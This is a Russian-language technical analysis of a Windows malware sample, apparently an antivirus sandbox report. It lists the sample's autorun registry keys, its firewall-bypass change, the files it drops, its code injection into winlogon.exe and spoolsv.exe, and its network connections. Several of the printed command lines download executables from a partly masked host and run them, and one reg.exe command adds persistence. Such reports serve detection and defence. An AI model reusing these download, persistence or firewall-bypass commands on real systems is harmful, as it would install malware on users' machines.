Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinsysMon' = '%TEMP%\nsf5.tmp\googledownload.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'wextract_cleanup0' = 'rundll32.exe <SYSTEM32>\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\BITS] 'Start' = '00000002'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\winlogon.exe' = '<SYSTEM32>\winlogon.exe:*:enabled:@shell32.dll,-1'
Создает и запускает на исполнение:
- C:\scvlvqx.exe
- C:\-1998166001
- C:\lcbpri.exe
- %TEMP%\nsj3.tmp\e4u.exe
- %TEMP%\nsf5.tmp\googledownload.exe
- %TEMP%\nsj3.tmp\exrev.exe
- %TEMP%\nsj3.tmp\ic2.exe
- C:\sqbxvi.exe
- C:\kocm.exe
- C:\nenut.exe
- C:\wbmgv.exe
- C:\rvsukt.exe
- C:\eopsl.exe
- C:\kpauxj.exe
- C:\Iexplor701.exe
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/beam/isog.exe "C:\Iexploreiosg.exe"
- %TEMP%\nsf5.tmp\Launch.exe
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/IC/zhvntnlgecngmdn.exe "C:\Iexplor701.exe"
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/90210.exe "C:\90210.exe"
- %TEMP%\IXP000.TMP\Launch.exe
- C:\Iexploreiosg.exe
- C:\90210.exe
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/convert/5252009.exe "C:\iexplor520.exe"
- C:\iexplor520.exe
- %TEMP%\nsj3.tmp\Launch.exe
- C:\kocm.exe (загружен из сети Интернет)
- C:\kpauxj.exe (загружен из сети Интернет)
- C:\nenut.exe (загружен из сети Интернет)
- C:\sqbxvi.exe (загружен из сети Интернет)
- C:\wbmgv.exe (загружен из сети Интернет)
- C:\iexplor520.exe (загружен из сети Интернет)
- C:\Iexplor701.exe (загружен из сети Интернет)
- C:\90210.exe (загружен из сети Интернет)
- C:\Iexploreiosg.exe (загружен из сети Интернет)
- C:\scvlvqx.exe (загружен из сети Интернет)
- C:\rvsukt.exe (загружен из сети Интернет)
- C:\eopsl.exe (загружен из сети Интернет)
- C:\-1998166001 (загружен из сети Интернет)
- C:\lcbpri.exe (загружен из сети Интернет)
Запускает на исполнение:
- <SYSTEM32>\cmd.exe /c %TEMP%\hi.bat
- <SYSTEM32>\reg.exe add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinsysMon /t REG_SZ /d "%TEMP%\nsf5.tmp\googledownload.exe" /f
- <SYSTEM32>\ntvdm.exe -f -i1
- <SYSTEM32>\net1.exe start bits
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\winlogon.exe
- <SYSTEM32>\spoolsv.exe
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\gvfpp[1].php
- C:\eopsl.exe
- C:\kpauxj.exe
- C:\wbmgv.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\jyfol[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\zbureoliro[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\vbunnx[1].php
- C:\-1998166001
- C:\lcbpri.exe
- C:\rvsukt.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\oatzj[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\ungqnkxl[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\submit[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\submit[1].php
- %TEMP%\hi.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\submit[1].php
- C:\nenut.exe
- C:\sqbxvi.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\qwtdnnku[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\xwtcmawtt[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\xsyvvsf[1].php
- C:\kocm.exe
- %TEMP%\IXP000.TMP\lsass
- %TEMP%\nsf5.tmp\googledownload.exe
- %TEMP%\IXP000.TMP\w.bat
- %TEMP%\IXP000.TMP\Launch.exe
- %TEMP%\IXP000.TMP\r.bat
- %TEMP%\nsf5.tmp\Launch.exe
- %TEMP%\nsj3.tmp\Launch.exe
- %TEMP%\nsi2.tmp
- %TEMP%\nsj3.tmp\exrev.exe
- %TEMP%\nsj3.tmp\e4u.exe
- %TEMP%\nsj3.tmp\ic2.exe
- %WINDIR%\Temp\D.tmp
- <SYSTEM32>\spool\prtprocs\w32x86\C.tmp
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\qwfcqz[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\eurkxhhr[1].php
- C:\scvlvqx.exe
- C:\BITB.tmp
- %WINDIR%\Temp\scs7.tmp
- %WINDIR%\Temp\scs6.tmp
- C:\BIT8.tmp
- C:\BITA.tmp
- C:\BIT9.tmp
Присваивает атрибут 'скрытый' для следующих файлов:
- %TEMP%\hi.bat
Удаляет следующие файлы:
- %TEMP%\nsj3.tmp\exrev.exe
- %TEMP%\nsj3.tmp\e4u.exe
- %TEMP%\nsf5.tmp\Launch.exe
- %TEMP%\nsj3.tmp\ic2.exe
- <SYSTEM32>\spool\prtprocs\w32x86\C.tmp
- %WINDIR%\Temp\D.tmp
- %TEMP%\nsj3.tmp\Launch.exe
- %TEMP%\IXP000.TMP\Launch.exe
- %WINDIR%\Temp\scs7.tmp
- %WINDIR%\Temp\scs6.tmp
- %TEMP%\IXP000.TMP\r.bat
- %TEMP%\nsf5.tmp\googledownload.exe
- %TEMP%\IXP000.TMP\lsass.exe
- %TEMP%\IXP000.TMP\w.bat
Сетевая активность:
Подключается к:
- 'ab###der.com':80
- 'localhost':1043
- 'ru.#rans.pl':65520
- '12#.#17.248.59':80
- 'localhost':1048
- 'localhost':1039
- 'wp#d':80
- 'bi####r.fileave.com':80
- 'localhost':1042
- 'localhost':1041
TCP:
Запросы HTTP GET:
- ab###der.com/khjgqn/jyfol.php
- ab###der.com/khjgqn/qwtdnnku.php
- ab###der.com/khjgqn/zbureoliro.php
- ab###der.com/khjgqn/gvfpp.php
- 12#.#17.248.59/sd3update/submit.php?mo#######################################
- ab###der.com/khjgqn/ungqnkxl.php?ad#################################################
- ab###der.com/khjgqn/xwtcmawtt.php
- ab###der.com/khjgqn/xsyvvsf.php
- ab###der.com/khjgqn/oatzj.php
- bi####r.fileave.com/convert/5252009.exe
- bi####r.fileave.com/beam/isog.exe
- wp#d/wpad.dat
- bi####r.fileave.com/IC/zhvntnlgecngmdn.exe
- ab###der.com/khjgqn/qwfcqz.php
- ab###der.com/khjgqn/vbunnx.php
- bi####r.fileave.com/90210.exe
- ab###der.com/khjgqn/eurkxhhr.php?ad########
UDP:
- DNS ASK ab###der.com
- DNS ASK ru.#rans.pl
- DNS ASK wp#d
- DNS ASK bi####r.fileave.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-9d8.9dc.370001'
